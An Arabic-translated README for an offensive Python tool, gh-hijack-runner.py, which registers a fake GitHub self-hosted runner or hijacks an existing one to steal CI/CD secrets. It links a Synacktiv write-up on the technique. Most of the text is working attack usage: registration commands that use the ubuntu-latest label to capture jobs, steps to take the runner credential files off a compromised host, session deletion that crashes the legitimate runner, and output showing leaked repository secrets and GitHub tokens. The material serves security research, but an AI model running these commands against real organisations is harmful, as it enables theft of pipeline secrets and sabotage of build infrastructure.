
نص برمجي بلغة Python لإنشاء عدّاء GitHub مزيف واختطاف وظائف خط أنابيب CI/CD لتسريب الأسرار.
نص برمجي بلغة بايثون لإنشاء عدّاء GitHub مزيّف واختطاف وظائف خط الأنابيب لتسريب أسرار CI/CD.
اكتشف المزيد من التفاصيل في المقالة التالية: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization
إذا تمكنت من الحصول على رمز تسجيل أو تحقيق تنفيذ تعليمات برمجية عن بُعد على عدّاء GitHub مستضاف ذاتيًا، يمكنك إنشاء عدّاء GitHub أو الاستيلاء عليه. سيسمح لك ذلك بالوصول إلى جميع الأسرار التي يتم تمريرها إلى ذلك العدّاء.
باستخدام رمز تسجيل، يمكنك تسجيل عدّاء بعلامة ubuntu-latest، مما يمنحك الوصول إلى الوظائف المخصصة أصلاً للعدّائين المزوّدين من GitHub. يتيح لك هذا اختراق أي سير عمل يستخدم هذه الطريقة.
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC
$ pip install -r requirements.txt
إذا تمكنت من الحصول على رمز تسجيل لتسجيل عدّاء مستضاف ذاتيًا لمستودع أو مؤسسة، يمكنك تسجيل عدّاء GitHub المزيّف باستخدام هذا الأمر:
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
يمكن أن يكون هذا رمز تسجيل لمؤسسة أو مستودع.
مع تنفيذ تعليمات برمجية عشوائية على عدّاء مستضاف ذاتيًا، تحتاج إلى تسريب ثلاثة ملفات لانتحال هوية العدّاء المخترق:
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root root 266 Apr 21 12:27 .credentials
-rw------- 1 root root 1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root root 325 Apr 21 12:27 .runner
[...]
لجلب الوظائف، سينشئ العدّاء جلسة مع GitHub. يمكن لكل عدّاء الاحتفاظ بجلسة واحدة فقط. لإنشاء جلسة جديدة، تحتاج إلى حذف الجلسة الحالية التي أنشأها العدّاء الشرعي. يمكن العثور على معرف الجلسة هنا:
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.
/!\ حذف الجلسة الحالية سيؤدي إلى تعطل العدّاء الشرعي /!\
بعد ذلك، يمكنك حذف الجلسة الحالية:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.
أخيرًا، يمكنك اختطاف هذا العدّاء:
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC
لاحظ أن هذا لن يعمل مع العدّاء المستضاف ذاتيًا المؤقت.
$ gh-hijack-runner.py --help
Hijack GitHub runners
Usage:
gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
--output <folder> Save data to output file
--runer-name <name> Runner name
--runner-group <name> Runner group name
--last-Message-id <id> Last message ID
Args:
--registration-token <token> Token used to register a runner
--url <url> Full repository or org URL
--rsa-params <rsa> Path to .credentials_rsaparams file
--credentials <credentials> Path to .credentials file
--runner <runner> Path to .runner file
--session-id <session> Already running session id
--aes-key <key> Base64 encoded AES key associated with a session id
--labels <labels> Labels used for registration (ubuntu-latest,customrunner)
--ephemeral Create ephemeral runner
--delete-session-id <session> Delete session. Warning: It will crash the related GitHub runner
Examples:
$ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json
Author: @hugow